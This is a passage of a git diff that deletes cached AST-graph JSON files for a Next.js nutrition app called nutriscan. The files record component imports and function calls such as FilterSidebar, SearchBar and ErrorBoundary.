"D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L74"}, {"caller_nid": "components_productskeleton_productcardskeleton", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L85"}, {"caller_nid": "components_productskeleton_productcardskeleton", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L91"}, {"caller_nid": "components_productskeleton_nutritionbarskeleton", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L106"}, {"caller_nid": "components_productskeleton_badgeskeleton", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ProductSkeleton.tsx", "source_location": "L118"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/83b0ab06a9bef34c1711e4921d49c4248f9afe6d8cab2217fb87f21309e4e9c0.json b/graphify-out/cache/ast/83b0ab06a9bef34c1711e4921d49c4248f9afe6d8cab2217fb87f21309e4e9c0.json
deleted file mode 100644
index 650bc55..0000000
--- a/graphify-out/cache/ast/83b0ab06a9bef34c1711e4921d49c4248f9afe6d8cab2217fb87f21309e4e9c0.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "label": "FilterSidebar.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L1"}, {"id": "components_filtersidebar_filtersidebarprops", "label": "FilterSidebarProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L43"}, {"id": "components_filtersidebar_filtersidebar", "label": "FilterSidebar()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L60"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L18", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_input_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_input_input", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_checkbox_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L21", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_checkbox_checkbox", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L21", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_radio_group_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L22", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_radio_group_radiogroup", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L22", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_radio_group_radiogroupitem", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L22", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_switch_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L23", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_switch_switch", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L23", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_slider_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L24", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_slider_slider", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L24", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_accordion_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_accordion_accordion", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_accordion_accordioncontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_accordion_accordionitem", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_accordion_accordiontrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_badge_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L31", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_badge_badge", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L31", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_components_ui_separator_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L32", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "ui_separator_separator", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L32", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L33", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "components_sortdropdown_sortdropdown", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L33", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_app_components_filterbadge_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L34", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "components_filterbadge_filterbadges", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L34", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lib_types_productfilters", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lib_types_nutrition_grades", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lib_types_nova_groups", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lib_types_popular_categories_with_icons", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "lib_types_common_allergens", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L35", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "components_filtersidebar_filtersidebarprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L43", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "target": "components_filtersidebar_filtersidebar", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L60", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_filtersidebar_filtersidebar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L76"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L77"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L78"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "some", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L114"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "values", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L114"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "toLocaleString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L147"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L192"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L239"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "toString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L260"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L264"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L296"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L296"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L359"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "filter", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L359"}, {"caller_nid": "components_filtersidebar_filtersidebar", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\FilterSidebar.tsx", "source_location": "L415"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/88f81548beb6c433c50b179a04bdba9b81e2b9ce1de16b88fb52794de374d015.json b/graphify-out/cache/ast/88f81548beb6c433c50b179a04bdba9b81e2b9ce1de16b88fb52794de374d015.json
deleted file mode 100644
index ce86554..0000000
--- a/graphify-out/cache/ast/88f81548beb6c433c50b179a04bdba9b81e2b9ce1de16b88fb52794de374d015.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_items_tsx", "label": "items.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx", "source_location": "L1"}, {"id": "components_items_items", "label": "Items()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_items_tsx", "target": "d_documents_github_nutriscan_lib_prisma_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_items_tsx", "target": "components_items_items", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx", "source_location": "L3", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_items_items", "callee": "findMany", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx", "source_location": "L4"}, {"caller_nid": "components_items_items", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\items.tsx", "source_location": "L5"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/9693de618c4a907d398c41ddec8ff52a714505bc1fe84b8b8967c3fd5f00d718.json b/graphify-out/cache/ast/9693de618c4a907d398c41ddec8ff52a714505bc1fe84b8b8967c3fd5f00d718.json
deleted file mode 100644
index 5a16e52..0000000
--- a/graphify-out/cache/ast/9693de618c4a907d398c41ddec8ff52a714505bc1fe84b8b8967c3fd5f00d718.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_searchbar_tsx", "label": "SearchBar.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L1"}, {"id": "components_searchbar_searchbarprops", "label": "SearchBarProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L9"}, {"id": "components_searchbar_searchbar", "label": "SearchBar()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L16"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "lib_openfoodfactsapi_detectsearchtype", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "lib_openfoodfactsapi_isvalidbarcode", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "components_searchbar_searchbarprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_searchbar_tsx", "target": "components_searchbar_searchbar", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L16", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_searchbar_searchbar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L22"}, {"caller_nid": "components_searchbar_searchbar", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L23"}, {"caller_nid": "components_searchbar_searchbar", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L24"}, {"caller_nid": "components_searchbar_searchbar", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L26"}, {"caller_nid": "components_searchbar_searchbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L58"}, {"caller_nid": "components_searchbar_searchbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L67"}, {"caller_nid": "components_searchbar_searchbar", "callee": "trim", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L76"}, {"caller_nid": "components_searchbar_searchbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L86"}, {"caller_nid": "components_searchbar_searchbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L101"}, {"caller_nid": "components_searchbar_searchbar", "callee": "trim", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SearchBar.tsx", "source_location": "L117"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/99dc8bee7773ece57739c9e77dfd1a609ae2b7d4c3070b66565f66bd0caafe68.json b/graphify-out/cache/ast/99dc8bee7773ece57739c9e77dfd1a609ae2b7d4c3070b66565f66bd0caafe68.json
deleted file mode 100644
index a497de7..0000000
--- a/graphify-out/cache/ast/99dc8bee7773ece57739c9e77dfd1a609ae2b7d4c3070b66565f66bd0caafe68.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_sw_js", "label": "sw.js", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\sw.js", "source_location": "L1"}], "edges": [], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/9c8c56e913df4305ebf1c068373d41bd32df5edea799c91aa9f3f5ae7f45ece6.json b/graphify-out/cache/ast/9c8c56e913df4305ebf1c068373d41bd32df5edea799c91aa9f3f5ae7f45ece6.json
deleted file mode 100644
index e0c3f32..0000000
--- a/graphify-out/cache/ast/9c8c56e913df4305ebf1c068373d41bd32df5edea799c91aa9f3f5ae7f45ece6.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_errorboundary_tsx", "label": "ErrorBoundary.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L1"}, {"id": "components_errorboundary_props", "label": "Props", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L5"}, {"id": "components_errorboundary_state", "label": "State", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L10"}, {"id": "components_errorboundary_errorboundary", "label": "ErrorBoundary", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L18"}, {"id": "components_errorboundary_errorboundary_constructor", "label": ".constructor()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L19"}, {"id": "components_errorboundary_errorboundary_getderivedstatefromerror", "label": ".getDerivedStateFromError()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L24"}, {"id": "components_errorboundary_errorboundary_componentdidcatch", "label": ".componentDidCatch()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L28"}, {"id": "components_errorboundary_errorboundary_render", "label": ".render()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L47"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_errorboundary_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_errorboundary_tsx", "target": "components_errorboundary_props", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_errorboundary_tsx", "target": "components_errorboundary_state", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_errorboundary_tsx", "target": "components_errorboundary_errorboundary", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L18", "weight": 1.0}, {"source": "components_errorboundary_errorboundary", "target": "components_errorboundary_errorboundary_constructor", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L19", "weight": 1.0}, {"source": "components_errorboundary_errorboundary", "target": "components_errorboundary_errorboundary_getderivedstatefromerror", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L24", "weight": 1.0}, {"source": "components_errorboundary_errorboundary", "target": "components_errorboundary_errorboundary_componentdidcatch", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L28", "weight": 1.0}, {"source": "components_errorboundary_errorboundary", "target": "components_errorboundary_errorboundary_render", "relation": "method", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L47", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_errorboundary_errorboundary_constructor", "callee": "super", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L20"}, {"caller_nid": "components_errorboundary_errorboundary_componentdidcatch", "callee": "track", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L32"}, {"caller_nid": "components_errorboundary_errorboundary_componentdidcatch", "callee": "toISOString", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L37"}, {"caller_nid": "components_errorboundary_errorboundary_componentdidcatch", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L40"}, {"caller_nid": "components_errorboundary_errorboundary_componentdidcatch", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorBoundary.tsx", "source_location": "L44"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/9d83bc9d3dab27c6d57ae5baa3b00600d67dff8f57a8f049e6c3c4837032cf86.json b/graphify-out/cache/ast/9d83bc9d3dab27c6d57ae5baa3b00600d67dff8f57a8f049e6c3c4837032cf86.json
deleted file mode 100644
index 841103b..0000000
--- a/graphify-out/cache/ast/9d83bc9d3dab27c6d57ae5baa3b00600d67dff8f57a8f049e6c3c4837032cf86.json
+++ /dev/null
@@ -1 +0,0 @@
